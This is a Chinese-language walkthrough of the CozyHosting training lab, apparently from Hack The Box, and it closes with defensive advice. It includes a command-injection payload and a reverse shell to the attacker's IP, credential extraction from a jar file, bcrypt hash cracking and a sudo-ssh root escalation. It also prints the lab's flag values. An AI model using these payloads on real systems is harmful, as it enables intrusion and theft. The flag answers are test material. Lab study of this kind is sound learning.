CozyHosting 渗透测试教学文档

1. 信息收集阶段

1.1 目标识别

• IP地址: 10.10.11.230
• 操作系统: Ubuntu Linux (基于SSH banner识别)
• Web服务器: Nginx 1.18.0
• 开放端口:
  • 22/tcp: OpenSSH 8.9p1
  • 80/tcp: HTTP (Nginx)

1.2 主机发现与端口扫描

使用以下命令进行扫描:

ip='10.10.11.230'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
    nmap -Pn -sV -sC -p "$ports" "$ip"
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
  fi
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

1.3 Web应用枚举

1. 添加hosts记录:

echo "10.10.11.230 cozyhosting.htb" >> /etc/hosts

2. 目录爆破:

feroxbuster -u 'http://cozyhosting.htb/' -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt

3. 检查Spring Boot Actuator端点:

curl http://cozyhosting.htb/actuator/mappings | jq
curl http://cozyhosting.htb/actuator/sessions | jq

2. 漏洞利用阶段

2.1 Spring Boot会话泄露

通过Actuator端点发现会话信息泄露漏洞，可以获取有效会话ID。

2.2 Cozy Cloud RCE漏洞

发现存在命令注入漏洞的API端点 /executessh。

利用方法:

POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin
Cookie: JSESSIONID=E2D6FD319BB33F0C82C7A5BDB7B5BB9E
Upgrade-Insecure-Requests: 1

host=127.0.0.1&username=1;ping -c 1 10.10.16.28

反弹shell payload:

host=127.0.0.1&username=1;nc 10.10.16.28 443 -e /bin/bash

2.3 横向移动 - PostgreSQL数据库访问

1. 解压应用程序jar文件查找凭据:

unzip cloudhosting-0.0.1.jar -d /tmp/
grep -iR password /tmp/

2. 发现数据库凭据:

username=postgres
password=Vg&nvzAQ7XxR

3. 连接PostgreSQL数据库:

psql -h 127.0.0.1 -U postgres

4. 数据库操作:

\connect cozyhosting
\dt
select * from users;

5. 获取的用户哈希:

kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin

6. 使用hashcat破解密码:

hashcat.exe hashes.txt --wordlist=./rockyou.txt -m 3200

破解结果: manchesterunited

3. 权限提升阶段

3.1 SSH权限提升

发现可以利用SSH配置进行权限提升:

sudo /usr/bin/ssh -v -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1

4. 获取Flag

4.1 用户Flag

路径: /home/kanderson/user.txt
内容: cc93083b7bccc1a1317a42e90f1fbcc2

4.2 Root Flag

路径: /root/root.txt
内容: db965b14ba2e4959c7ef2d0f135e0d0e

5. 总结

本次渗透测试涉及以下关键点:

1. Spring Boot Actuator端点信息泄露
2. 命令注入漏洞利用
3. 数据库凭据提取与破解
4. SSH配置不当导致的权限提升

防护建议:

1. 限制Actuator端点的访问
2. 对用户输入进行严格过滤
3. 避免在配置文件中存储明文凭据
4. 定期审计SSH配置和sudo权限